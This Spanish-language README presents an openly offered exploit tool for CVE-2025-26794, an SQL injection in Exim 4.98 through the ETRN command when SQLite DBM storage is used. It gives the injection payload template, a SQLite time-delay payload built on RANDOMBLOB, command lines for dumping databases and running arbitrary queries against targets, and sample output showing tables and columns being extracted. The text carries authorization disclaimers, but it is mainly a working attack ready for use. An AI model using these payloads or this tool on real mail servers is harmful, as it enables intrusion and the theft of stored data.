
Exploit de inyección SQL para CVE-2025-26794 en Exim 4.98. Extracción automatizada de datos mediante SQLi ciega basada en tiempo. Solo para pruebas de penetración autorizadas.
Una herramienta de explotación proof-of-concept para CVE-2025-26794, que demuestra la vulnerabilidad de inyección SQL en el servidor de correo Exim 4.98 mediante el comando ETRN cuando se utiliza almacenamiento DBM de SQLite.
SOLO PARA PRUEBAS DE SEGURIDAD AUTORIZADAS
Esta herramienta se proporciona únicamente con fines educativos y para pruebas de penetración autorizadas. El acceso no autorizado a sistemas informáticos es ilegal según diversas leyes, entre ellas:
Debe tener autorización explícita por escrito antes de probar cualquier sistema que no sea de su propiedad.
Los autores y colaboradores no asumen ninguna responsabilidad por el uso indebido o los daños causados por esta herramienta.
CVE-2025-26794 es una vulnerabilidad de inyección SQL en Exim 4.98 que se produce cuando:
Esta vulnerabilidad permite a los atacantes:
# Clone the repository
git clone https://github.com/XploitGh0st/CVE-2025-26794-exploit.git
cd CVE-2025-26794-exploit
# Install dependencies (none required - uses standard library only)
pip install -r requirements.txt
# Make script executable (Linux/Mac)
chmod +x exploit.py
python3 exploit.py <target> [options]
python3 exploit.py 192.168.1.10 --test-only
python3 exploit.py mail.example.com --auto-dump
python3 exploit.py 10.0.0.5 --interactive
python3 exploit.py 192.168.1.10 --table users --columns
python3 exploit.py 192.168.1.10 --query "SELECT sqlite_version()"
ETRN #',1); <MALICIOUS_QUERY> /*
La carga útil aprovecha la sanitización incorrecta en el controlador de serialización de ETRN, permitiendo la inyección SQL en las consultas de SQLite.
Utiliza el retardo temporal específico de SQLite:
SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
Esto crea un retardo medible (~1-2 segundos) cuando la condición es verdadera.
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-26794: Exim SQLi Data Extraction Tool ║
║ FOR AUTHORIZED USE ONLY ║
╚═══════════════════════════════════════════════════════════╝
[*] Testing vulnerability...
[+] Normal response time: 0.123s
[+] Delayed response time: 1.456s
[!!!] VULNERABLE - Time difference: 1.333s
[*] Extracting table names...
[*] Extracting table 1...
[+] Extracted: users
[+] Found table: users
[*] Extracting columns from table 'users'...
[+] Found column: id
[+] Found column: username
[+] Found column: email
Si está ejecutando Exim 4.98 con DBM de SQLite:
El exploit utiliza búsqueda binaria para extraer caracteres de forma eficiente:
unicode(): Obtener el valor ASCII de un caráctersubstr(): Extraer subcadena del resultadosqlite_master: Tabla del sistema para la enumeración del esquemapragma_table_info(): Extracción de metadatos de columnasSe aceptan contribuciones para:
Asegúrese de que todas las contribuciones incluyan:
Este proyecto se publica únicamente con fines educativos. Úselo de manera responsable y legal.
XploitGh0st
Si descubre vulnerabilidades con esta herramienta:
Recuerde: Un gran poder conlleva una gran responsabilidad. Utilice esta herramienta de forma ética y legal.
| Opción | Descripción |
|---|
host | Hostname o dirección IP del objetivo (obligatorio) |
-p, --port | Puerto SMTP (por defecto: 25) |
-t, --timeout | Tiempo de espera del socket en segundos (por defecto: 30) |
--threshold | Umbral de retardo temporal para la detección (por defecto: 0.8s) |
--test-only | Solo comprobar la vulnerabilidad, sin extracción de datos |
--auto-dump | Volcar automáticamente la estructura y los datos de la base de datos |
--interactive | Lanzar la consola interactiva de consultas SQL |
--table TABLE | Seleccionar una tabla específica para extraer |
--columns | Extraer nombres de columnas (usar con --table) |
--query QUERY | Ejecutar una consulta SQL personalizada |